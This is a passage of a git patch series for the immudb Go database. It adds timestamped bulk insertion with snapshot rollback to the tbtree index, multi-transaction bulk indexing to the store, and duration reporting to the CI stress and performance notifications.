a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -182,9 +182,9 @@ type ImmuStore struct { waiteesMutex sync.Mutex waiteesCount int // current number of go-routines waiting for a tx to be indexed or committed - _txbs []byte // pre-allocated buffer to support tx serialization - _kvs []*tbtree.KV //pre-allocated for indexing - _valBs []byte // pre-allocated buffer to support tx exportation + _txbs []byte // pre-allocated buffer to support tx serialization + _kvs []*tbtree.KVT //pre-allocated for indexing + _valBs []byte // pre-allocated buffer to support tx exportation _valBsMux sync.Mutex aht *ahtree.AHtree @@ -463,11 +463,11 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("could not open aht: %w", err) } - kvs := make([]*tbtree.KV, maxTxEntries) + kvs := make([]*tbtree.KVT, maxTxEntries) for i := range kvs { // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd elen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen - kvs[i] = &tbtree.KV{K: make([]byte, maxKeyLen), V: make([]byte, elen)} + kvs[i] = &tbtree.KVT{K: make([]byte, maxKeyLen), V: make([]byte, elen)} } txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start From feeb4e9faecc46aee0664cc4d1e5a1cfe3a28da0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 15:40:51 -0300 Subject: [PATCH 0124/1062] chore(embedded/tbtree): add in-line documentation Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 3b44a45ebc..394b4be05a 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1576,6 +1576,11 @@ func (t *TBtree) Insert(key []byte, value []byte) error { return t.bulkInsert([]*KVT{{K: key, V: value}}) } +// BulkInsert inserts multiple entries atomically. +// It is possible to specify a logical timestamp for each entry. +// Timestamps with zero will be associated with the current time plus one. +// The specified timestamp must be greater than the root's current timestamp. +// Timestamps must be increased by one for each additional entry for a key. func (t *TBtree) BulkInsert(kvts []*KVT) error { t.lock() defer t.unlock() @@ -1623,7 +1628,7 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { if kvt.T == 0 { t = ts + 1 } else if kvt.T < ts { - return ErrIllegalArguments + return fmt.Errorf("%w: specific timestamp is older than root's current timestamp", ErrIllegalArguments) } immutableKVTs[i] = &KVT{ @@ -2201,8 +2206,10 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err lv := l.values[i] if kvt.T < lv.ts { - // TODO: this validation can be made upfront at bulkInsert, specific error may be declared - return nil, 0, fmt.Errorf("%w: attempt to insert an older value", ErrIllegalState) + // The validation can be done upfront at bulkInsert, + // but postponing it could reduce resource requirements during the earlier stages, + // resulting in higher performance due to concurrency. + return nil, 0, fmt.Errorf("%w: attempt to insert a value with an older ts", ErrIllegalArguments) } lv.value = kvt.V From 04ca9add56344fba9933692328b970050e7aa88f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 08:48:56 -0300 Subject: [PATCH 0125/1062] chore(embedded/tbtree): minor code improvements Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 394b4be05a..99faaa8a54 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1597,13 +1597,14 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { return ErrIllegalArguments } - ts := t.root.ts() + currTs := t.root.ts() + + // newTs will hold the greatest time, the minimun value will be currTs + 1 + var newTs uint64 // validated immutable copy of input kv pairs immutableKVTs := make([]*KVT, len(kvts)) - newTs := ts + 1 - for i, kvt := range kvts { if kvt == nil || kvt.K == nil || kvt.V == nil { return ErrIllegalArguments @@ -1625,9 +1626,10 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { t := kvt.T - if kvt.T == 0 { - t = ts + 1 - } else if kvt.T < ts { + if t == 0 { + // zero-valued timestamps are associated with current time plus one + t = currTs + 1 + } else if kvt.T < currTs { return fmt.Errorf("%w: specific timestamp is older than root's current timestamp", ErrIllegalArguments) } From ccfb4492b12907dac07ed90dee0517d7cd65eac3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 11:06:00 -0300 Subject: [PATCH 0126/1062] test(embedded/tbtree): unit testing multi-timed bulk insertion Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree_test.go | 82 ++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 4798ce83c2..ff81bffbdd 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1436,4 +1436,86 @@ func TestLastUpdateBetween(t *testing.T) { require.Equal(t, uint64(f+1), tx) } } + + err = tbtree.Close() + require.NoError(t, err) +} + +func TestMultiTimedBulkInsertion(t *testing.T) { + tbtree, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + t.Run("multi-timed bulk insertion should succeed", func(t *testing.T) { + currTs := tbtree.Ts() + + kvts := []*KVT{ + {K: []byte("key1_0"), V: []byte("value1_0")}, + {K: []byte("key2_0"), V: []byte("value2_0")}, + {K: []byte("key3_0"), V: []byte("value3_0"), T: currTs + 1}, + {K: []byte("key4_0"), V: []byte("value4_0"), T: currTs + 1}, + {K: []byte("key5_0"), V: []byte("value5_0"), T: currTs + 2}, + {K: []byte("key6_0"), V: []byte("value6_0")}, + } + + err = tbtree.BulkInsert(kvts) + require.NoError(t, err) + + for _, kvt := range kvts { + v, ts, hc, err := tbtree.Get(kvt.K) + require.NoError(t, err) + require.Equal(t, kvt.V, v) + require.Equal(t, uint64(1), hc) + + if kvt.T == 0 { + //zero-valued timestamps should be associated with current time plus one + require.Equal(t, currTs+1, ts) + } else { + require.Equal(t, kvt.T, ts) + } + } + + // root's ts should match the greatest inserted timestamp + require.Equal(t, currTs+2, tbtree.Ts()) + }) + + t.Run("bulk-insertion of the same key should be possible with increasing timestamp", func(t *testing.T) { + currTs := tbtree.Ts() + + kvts := []*KVT{ + {K: []byte("key1_1"), V: []byte("value1_1")}, + {K: []byte("key1_1"), V: []byte("value2_1"), T: currTs + 2}, + } + + err = tbtree.BulkInsert(kvts) + require.NoError(t, err) + + v, ts, hc, err := tbtree.Get([]byte("key1_1")) + require.NoError(t, err) + require.Equal(t, []byte("value2_1"), v) + require.Equal(t, uint64(2), hc) + require.Equal(t, currTs+2, ts) + + // root's ts should match the greatest inserted timestamp + require.Equal(t, currTs+2, tbtree.Ts()) + }) + + t.Run("bulk-insertion of the same key should not be possible with non-increasing timestamp", func(t *testing.T) { + currTs := tbtree.Ts() + + kvts := []*KVT{ + {K: []byte("key1_2"), V: []byte("value2_2"), T: currTs + 2}, + {K: []byte("key1_2"), V: []byte("value1_2")}, + } + + err = tbtree.BulkInsert(kvts) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, _, _, err := tbtree.Get([]byte("key1_2")) + require.ErrorIs(t, err, ErrKeyNotFound) + + require.Equal(t, currTs, tbtree.Ts()) + }) + + err = tbtree.Close() + require.NoError(t, err) } From 475213d5af70cd1a1d2c9941a1e4b836db60eec2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 12:02:49 -0300 Subject: [PATCH 0127/1062] fix(embedded/tbtree): rollback to the most recent snapshot when insertion fails Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 27 ++++++++++++++++++++++----- embedded/tbtree/tbtree_test.go | 15 ++++++++++++--- 2 files changed, 34 insertions(+), 8 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 99faaa8a54..9651d21766 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -640,9 +640,9 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } if validatedCLogEntry == nil { - // even when starting with a fresh btree, it's better to make the changes in a copy of the node, - // so that you can rollback if necessary. - t.root = &leafNode{t: t} + // It is not necessary to copy the root node when starting with a fresh btree. + // A fresh root will be used if insertion fails + t.root = &leafNode{t: t, mut: true} } else { t.root, err = t.readNodeAt(validatedCLogEntry.finalNLogSize - int64(validatedCLogEntry.rootNodeSize)) if err != nil { @@ -1225,6 +1225,10 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC metricsBtreeNodesDataEndOffset.WithLabelValues(t.path).Set(float64(t.committedNLogSize)) + // current root can be used as latest snapshot as !t.root.mutated() holds + t.lastSnapRoot = t.root + t.lastSnapRootAt = time.Now() + return wN, wH, nil } @@ -1646,6 +1650,19 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { nodes, depth, err := t.root.insert(immutableKVTs) if err != nil { + // INVARIANT: if !node.mutated() then for every node 'n' in the subtree with node as root !n.mutated() also holds + // if t.root is not mutated it means no change was made on any node of the tree. Thus no rollback is needed + + if t.root.mutated() { + // changes may need to be rolled back + // the most recent snapshot becomes the root again or a fresh start if no snapshots are stored + if t.lastSnapRoot == nil { + t.root = &leafNode{t: t, mut: true} + } else { + t.root = t.lastSnapRoot + } + } + return err } @@ -2207,11 +2224,11 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err if found { lv := l.values[i] - if kvt.T < lv.ts { + if kvt.T <= lv.ts { // The validation can be done upfront at bulkInsert, // but postponing it could reduce resource requirements during the earlier stages, // resulting in higher performance due to concurrency. - return nil, 0, fmt.Errorf("%w: attempt to insert a value with an older ts", ErrIllegalArguments) + return nil, 0, fmt.Errorf("%w: attempt to insert a value without a newer timestamp", ErrIllegalArguments) } lv.value = kvt.V diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index ff81bffbdd..7724d7cb79 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1500,20 +1500,29 @@ func TestMultiTimedBulkInsertion(t *testing.T) { }) t.Run("bulk-insertion of the same key should not be possible with non-increasing timestamp", func(t *testing.T) { + _, _, err = tbtree.Flush() + require.NoError(t, err) + + initialTs := tbtree.Ts() + + err = tbtree.Insert([]byte("key1_2"), []byte("key1_2")) + require.NoError(t, err) + currTs := tbtree.Ts() kvts := []*KVT{ - {K: []byte("key1_2"), V: []byte("value2_2"), T: currTs + 2}, - {K: []byte("key1_2"), V: []byte("value1_2")}, + {K: []byte("key2_2"), V: []byte("value2_2"), T: currTs + 2}, + {K: []byte("key2_2"), V: []byte("value3_2")}, } err = tbtree.BulkInsert(kvts) require.ErrorIs(t, err, ErrIllegalArguments) + // rollback to latest snapshot should be made if insertion fails _, _, _, err := tbtree.Get([]byte("key1_2")) require.ErrorIs(t, err, ErrKeyNotFound) - require.Equal(t, currTs, tbtree.Ts()) + require.Equal(t, initialTs, tbtree.Ts()) }) err = tbtree.Close() From a50f20fcd85fcdd55c7e507af0d3be0c25d87f07 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 13:21:51 -0300 Subject: [PATCH 0128/1062] chore(embedded/tbtree): variable renaming after rebasing Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 9651d21766..1eeba6884d 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1859,7 +1859,7 @@ func (n *innerNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err er nodesMutex.Lock() defer nodesMutex.Unlock() - if cerr != nil { + if childrenErr != nil { // if any of its children fail to insert, insertion fails err = childrenErr return From 7e530bd1f8026c6fab614ccb9d9f6ba3715bb9ee Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 10 Jan 2023 07:16:53 -0300 Subject: [PATCH 0129/1062] chore(ci): improve notifications Add seconds to duration for performance tests. Add duration to stress tests. Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 2 +- .github/workflows/stress.yml | 18 ++++++++++++------ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index a111aae5a7..694d551baa 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -67,7 +67,7 @@ jobs: run: > echo "{\"text\":\"### Performance tests results for scheduled daily run on ${{ github.ref_name }} branch and ${{ matrix.target.name }} runner\n **Result**: ${{ steps.performance.outcome }}\n - **Duration**: ${{ env.duration }} - **immudb version**: ${{ env.version }}\n + **Duration**: ${{ env.duration }}s | **immudb version**: ${{ env.version }}\n $(jq -r '.benchmarks[] | .name + "\n" + .summary' perf-test-results.json) \n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** \"}" > mattermost.json diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index 8acc98d479..378de24589 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -22,26 +22,32 @@ jobs: id: e_1m_w_20_b_1k_bs_50 run: | rm -rf data + SECONDS=0 ./stress_tool -mode auto -committers 20 -kvCount 1000 -txCount 50 -txRead -synced + echo "duration_1=$SECONDS" >> $GITHUB_ENV - name: "| Entries: 1M | Workers: 50 | Batch: 1k | Batches: 20 |" id: e_1m_w_50_b_1k_bs_20 run: | rm -rf data + SECONDS=0 ./stress_tool -mode auto -committers 50 -kvCount 1000 -txCount 20 -txRead -synced + echo "duration_2=$SECONDS" >> $GITHUB_ENV - name: "| Entries: 1M | Workers: 100 | Batch: 1k | Batches: 10 |" id: e_1m_w_100_b_1k_bs_10 run: | rm -rf data + SECONDS=0 ./stress_tool -mode auto -committers 100 -kvCount 1000 -txCount 10 -txRead -synced + echo "duration_3=$SECONDS" >> $GITHUB_ENV - name: Create the Mattermost message if: github.event.schedule == '0 0 * * *' run: > - echo "{\"text\":\"### Stress tests results for scheduled daily run on branch ${{ github.ref_name }}\n - | Step | Result |\n - | ---- | ------ |\n - | Entries: 1M - Workers: 20 - Batch: 1k - Batches: 50 | ${{ steps.e_1m_w_20_b_1k_bs_50.outcome }} |\n - | Entries: 1M - Workers: 50 - Batch: 1k - Batches: 20 | ${{ steps.e_1m_w_50_b_1k_bs_20.outcome }} |\n - | Entries: 1M - Workers: 100 - Batch: 1k - Batches: 10 | ${{ steps.e_1m_w_100_b_1k_bs_10.outcome }} |\n + echo "{\"text\":\"### Stress tests results for scheduled daily run on ${{ github.ref_name }} branch\n + | Step | Result | Duration |\n + | ---- | ------ | -------- |\n + | Entries: 1M - Workers: 20 - Batch: 1k - Batches: 50 | ${{ steps.e_1m_w_20_b_1k_bs_50.outcome }} | ${{ env.duration_1 }}s |\n + | Entries: 1M - Workers: 50 - Batch: 1k - Batches: 20 | ${{ steps.e_1m_w_50_b_1k_bs_20.outcome }} | ${{ env.duration_2 }}s |\n + | Entries: 1M - Workers: 100 - Batch: 1k - Batches: 10 | ${{ steps.e_1m_w_100_b_1k_bs_10.outcome }} | ${{ env.duration_3 }}s |\n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** \"}" > mattermost.json - name: Notify on immudb channel on Mattermost From bbd3aa11a77a10c2307df7ee01751e179db67f2d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Jan 2023 23:40:33 -0300 Subject: [PATCH 0130/1062] chore(embedded/store): multi-tx bulk indexing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 19 +---- embedded/store/indexer.go | 143 +++++++++++++++++++++------------ embedded/store/indexer_test.go | 2 +- embedded/store/options.go | 29 ++++++- embedded/store/options_test.go | 5 ++ 5 files changed, 127 insertions(+), 71 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index e691c25c33..f2d526822d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -168,8 +168,6 @@ type ImmuStore struct { maxKeyLen int maxValueLen int - maxTxSize int - writeTxHeaderVersion int timeFunc TimeFunc @@ -182,9 +180,8 @@ type ImmuStore struct { waiteesMutex sync.Mutex waiteesCount int // current number of go-routines waiting for a tx to be indexed or committed - _txbs []byte // pre-allocated buffer to support tx serialization - _kvs []*tbtree.KVT //pre-allocated for indexing - _valBs []byte // pre-allocated buffer to support tx exportation + _txbs []byte // pre-allocated buffer to support tx serialization + _valBs []byte // pre-allocated buffer to support tx exportation _valBsMux sync.Mutex aht *ahtree.AHtree @@ -463,13 +460,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("could not open aht: %w", err) } - kvs := make([]*tbtree.KVT, maxTxEntries) - for i := range kvs { - // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd - elen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen - kvs[i] = &tbtree.KVT{K: make([]byte, maxKeyLen), V: make([]byte, elen)} - } - txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err @@ -507,8 +497,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable maxKeyLen: maxKeyLen, maxValueLen: maxInt(maxValueLen, opts.MaxValueLen), - maxTxSize: maxTxSize, - writeTxHeaderVersion: opts.WriteTxHeaderVersion, timeFunc: opts.TimeFunc, @@ -523,7 +511,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable commitWHub: watchers.New(0, 1+opts.MaxActiveTransactions+opts.MaxWaitees), // including indexer txPool: txPool, - _kvs: kvs, _txbs: txbs, _valBs: make([]byte, maxValueLen), @@ -598,7 +585,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable indexPath := filepath.Join(store.path, indexDirname) - store.indexer, err = newIndexer(indexPath, store, indexOpts, opts.MaxWaitees) + store.indexer, err = newIndexer(indexPath, store, indexOpts, opts.MaxWaitees, opts.IndexOpts.MaxBulkSize, opts.IndexOpts.BulkPreparationTimeout) if err != nil { store.Close() return nil, fmt.Errorf("could not open indexer: %w", err) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 1c0903f877..7f1ba94cd0 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -36,6 +36,11 @@ type indexer struct { store *ImmuStore tx *Tx + maxBulkSize int + bulkPreparationTimeout time.Duration + + _kvs []*tbtree.KVT //pre-allocated for multi-tx bulk indexing + index *tbtree.TBtree ctx context.Context @@ -77,7 +82,7 @@ var ( }) ) -func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWaitees int) (*indexer, error) { +func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWaitees int, maxBulkSize int, bulkPreparationTimeout time.Duration) (*indexer, error) { index, err := tbtree.Open(path, indexOpts) if err != nil { return nil, err @@ -93,14 +98,24 @@ func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWai return nil, err } + kvs := make([]*tbtree.KVT, store.maxTxEntries*maxBulkSize) + for i := range kvs { + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd + elen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen + kvs[i] = &tbtree.KVT{K: make([]byte, store.maxKeyLen), V: make([]byte, elen)} + } + indexer := &indexer{ - store: store, - tx: tx, - path: path, - index: index, - wHub: wHub, - state: stopped, - stateCond: sync.NewCond(&sync.Mutex{}), + store: store, + tx: tx, + maxBulkSize: maxBulkSize, + bulkPreparationTimeout: bulkPreparationTimeout, + _kvs: kvs, + path: path, + index: index, + wHub: wHub, + state: stopped, + stateCond: sync.NewCond(&sync.Mutex{}), } dbName := filepath.Base(store.path) @@ -360,7 +375,7 @@ func (idx *indexer) doIndexing() { } idx.stateCond.L.Unlock() - err = idx.indexTx(lastIndexedTx + 1) + err = idx.indexSince(lastIndexedTx + 1) if err == ErrAlreadyClosed || err == tbtree.ErrAlreadyClosed { return } @@ -371,78 +386,100 @@ func (idx *indexer) doIndexing() { } } -func (idx *indexer) indexTx(txID uint64) error { - err := idx.store.readTx(txID, false, idx.tx) - if err != nil { - return err - } - - txEntries := idx.tx.Entries() +func (idx *indexer) indexSince(txID uint64) error { + ctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout) + defer cancel() - var txmd []byte + bulkSize := 0 + indexableEntries := 0 - if idx.tx.header.Metadata != nil { - txmd = idx.tx.header.Metadata.Bytes() - } + for i := 0; i < idx.maxBulkSize; i++ { + err := idx.store.readTx(txID+uint64(i), false, idx.tx) + if err != nil { + return err + } - txmdLen := len(txmd) + txEntries := idx.tx.Entries() - indexableEntries := 0 + var txmd []byte - for _, e := range txEntries { - if e.md != nil && e.md.NonIndexable() { - continue + if idx.tx.header.Metadata != nil { + txmd = idx.tx.header.Metadata.Bytes() } - // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd - var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte - o := 0 + txmdLen := len(txmd) + + for _, e := range txEntries { + if e.md != nil && e.md.NonIndexable() { + continue + } - binary.BigEndian.PutUint32(b[o:], uint32(e.vLen)) - o += lszSize + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd + var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte + o := 0 - binary.BigEndian.PutUint64(b[o:], uint64(e.vOff)) - o += offsetSize + binary.BigEndian.PutUint32(b[o:], uint32(e.vLen)) + o += lszSize - copy(b[o:], e.hVal[:]) - o += sha256.Size + binary.BigEndian.PutUint64(b[o:], uint64(e.vOff)) + o += offsetSize - binary.BigEndian.PutUint16(b[o:], uint16(txmdLen)) - o += sszSize + copy(b[o:], e.hVal[:]) + o += sha256.Size - copy(b[o:], txmd) - o += txmdLen + binary.BigEndian.PutUint16(b[o:], uint16(txmdLen)) + o += sszSize - var kvmd []byte + copy(b[o:], txmd) + o += txmdLen - if e.md != nil { - kvmd = e.md.Bytes() - } + var kvmd []byte + + if e.md != nil { + kvmd = e.md.Bytes() + } + + kvmdLen := len(kvmd) - kvmdLen := len(kvmd) + binary.BigEndian.PutUint16(b[o:], uint16(kvmdLen)) + o += sszSize - binary.BigEndian.PutUint16(b[o:], uint16(kvmdLen)) - o += sszSize + copy(b[o:], kvmd) + o += kvmdLen - copy(b[o:], kvmd) - o += kvmdLen + idx._kvs[indexableEntries].K = e.key() + idx._kvs[indexableEntries].V = b[:o] + idx._kvs[indexableEntries].T = txID + uint64(i) - idx.store._kvs[indexableEntries].K = e.key() - idx.store._kvs[indexableEntries].V = b[:o] + indexableEntries++ + } + + bulkSize++ - indexableEntries++ + if bulkSize < idx.maxBulkSize { + // wait for the next tx to be committed + err = idx.store.commitWHub.WaitFor(txID+uint64(i+1), ctx.Done()) + } + if err == watchers.ErrCancellationRequested { + break + } + if err != nil { + return err + } } + var err error + if indexableEntries == 0 { - err = idx.index.IncreaseTs(txID) + err = idx.index.IncreaseTs(txID + uint64(bulkSize-1)) } else { - err = idx.index.BulkInsert(idx.store._kvs[:indexableEntries]) + err = idx.index.BulkInsert(idx._kvs[:indexableEntries]) } if err != nil { return err } - idx.metricsLastIndexedTrx.Set(float64(txID)) + idx.metricsLastIndexedTrx.Set(float64(txID + uint64(bulkSize-1))) return nil } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index f50f5146d6..6fbe4e1385 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -30,7 +30,7 @@ import ( ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(t.TempDir(), nil, nil, 0) + indexer, err := newIndexer(t.TempDir(), nil, nil, 0, DefaultIndexingMaxBulkSize, DefaultBulkPreparationTimeout) require.Nil(t, indexer) require.ErrorIs(t, err, tbtree.ErrIllegalArguments) } diff --git a/embedded/store/options.go b/embedded/store/options.go index 4991820ddf..09a175226d 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -47,6 +47,8 @@ const DefaultTxLogMaxOpenedFiles = 10 const DefaultCommitLogMaxOpenedFiles = 10 const DefaultWriteTxHeaderVersion = MaxTxHeaderVersion const DefaultWriteBufferSize = 1 << 22 //4Mb +const DefaultIndexingMaxBulkSize = DefaultMaxActiveTransactions +const DefaultBulkPreparationTimeout = DefaultSyncFrequency const MaxFileSize = (1 << 31) - 1 // 2Gb @@ -148,7 +150,7 @@ type IndexOptions struct { // Max size of a single Btree node in bytes MaxNodeSize int - // Time in milliseconds between the most recent DB snapshot is automatically renewed + // Time between the most recent DB snapshot is automatically renewed RenewSnapRootAfter time.Duration // Minimum number of updates entries in the btree to allow for full compaction @@ -165,6 +167,12 @@ type IndexOptions struct { // Maximum number of simultaneously opened commit log files CommitLogMaxOpenedFiles int + + // Maximum number of transactions indexed together + MaxBulkSize int + + // Maximum time waiting for more transactions to be committed and included into the same bulk + BulkPreparationTimeout time.Duration } type AHTOptions struct { @@ -233,6 +241,9 @@ func DefaultIndexOptions() *IndexOptions { NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, + + MaxBulkSize: DefaultIndexingMaxBulkSize, + BulkPreparationTimeout: DefaultBulkPreparationTimeout, } } @@ -359,6 +370,12 @@ func (opts *IndexOptions) Validate() error { if opts.RenewSnapRootAfter < 0 { return fmt.Errorf("%w: invalid index option RenewSnapRootAfter", ErrInvalidOptions) } + if opts.MaxBulkSize < 1 { + return fmt.Errorf("%w: invalid MaxBulkSize", ErrInvalidOptions) + } + if opts.BulkPreparationTimeout < 0 { + return fmt.Errorf("%w: invalid BulkPreparationTimeout", ErrInvalidOptions) + } if opts.NodesLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid index option NodesLogMaxOpenedFiles", ErrInvalidOptions) } @@ -568,6 +585,16 @@ func (opts *IndexOptions) WithRenewSnapRootAfter(renewSnapRootAfter time.Duratio return opts } +func (opts *IndexOptions) WithMaxBulkSize(maxBulkSize int) *IndexOptions { + opts.MaxBulkSize = maxBulkSize + return opts +} + +func (opts *IndexOptions) WithBulkPreparationTimeout(bulkPreparationTimeout time.Duration) *IndexOptions { + opts.BulkPreparationTimeout = bulkPreparationTimeout + return opts +} + func (opts *IndexOptions) WithCompactionThld(compactionThld int) *IndexOptions { opts.CompactionThld = compactionThld return opts diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index 26dcd152be..3f53a32683 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -77,6 +77,8 @@ func TestInvalidIndexOptions(t *testing.T) { {"MaxActiveSnapshots", DefaultIndexOptions().WithMaxActiveSnapshots(0)}, {"MaxNodeSize", DefaultIndexOptions().WithMaxNodeSize(0)}, {"RenewSnapRootAfter", DefaultIndexOptions().WithRenewSnapRootAfter(-1)}, + {"MaxBulkSize", DefaultIndexOptions().WithMaxBulkSize(0)}, + {"BulkPreparationTimeout", DefaultIndexOptions().WithBulkPreparationTimeout(-1)}, {"CompactionThld", DefaultIndexOptions().WithCompactionThld(0)}, {"DelayDuringCompaction", DefaultIndexOptions().WithDelayDuringCompaction(-1)}, {"NodesLogMaxOpenedFiles", DefaultIndexOptions().WithNodesLogMaxOpenedFiles(0)}, @@ -180,6 +182,9 @@ func TestValidOptions(t *testing.T) { require.Equal(t, 4096, indexOpts.WithMaxNodeSize(4096).MaxNodeSize) require.Equal(t, time.Duration(1000)*time.Millisecond, indexOpts.WithRenewSnapRootAfter(time.Duration(1000)*time.Millisecond).RenewSnapRootAfter) + require.Equal(t, 1_000, indexOpts.WithMaxBulkSize(1_000).MaxBulkSize) + require.Equal(t, time.Duration(500)*time.Millisecond, + indexOpts.WithBulkPreparationTimeout(time.Duration(500)*time.Millisecond).BulkPreparationTimeout) require.Equal(t, 10, indexOpts.WithNodesLogMaxOpenedFiles(10).NodesLogMaxOpenedFiles) require.Equal(t, 11, indexOpts.WithHistoryLogMaxOpenedFiles(11).HistoryLogMaxOpenedFiles) require.Equal(t, 12, indexOpts.WithCommitLogMaxOpenedFiles(12).CommitLogMaxOpenedFiles) From 28914b8bb9ecc62b98cf7be6127282a6bb0857d8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 00:21:07 -0300 Subject: [PATCH 0131/1062] test(embedded/store): improve unit testing with syncing errors Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 6553a6be38..b69b7556ee 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -666,9 +666,15 @@ func TestImmudbStoreEdgeCases(t *testing.T) { } for i, checkApp := range mockedApps { + injectedError = fmt.Errorf("Injected error %d", i) + checkApp.SyncFn = func() error { return injectedError } + store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, 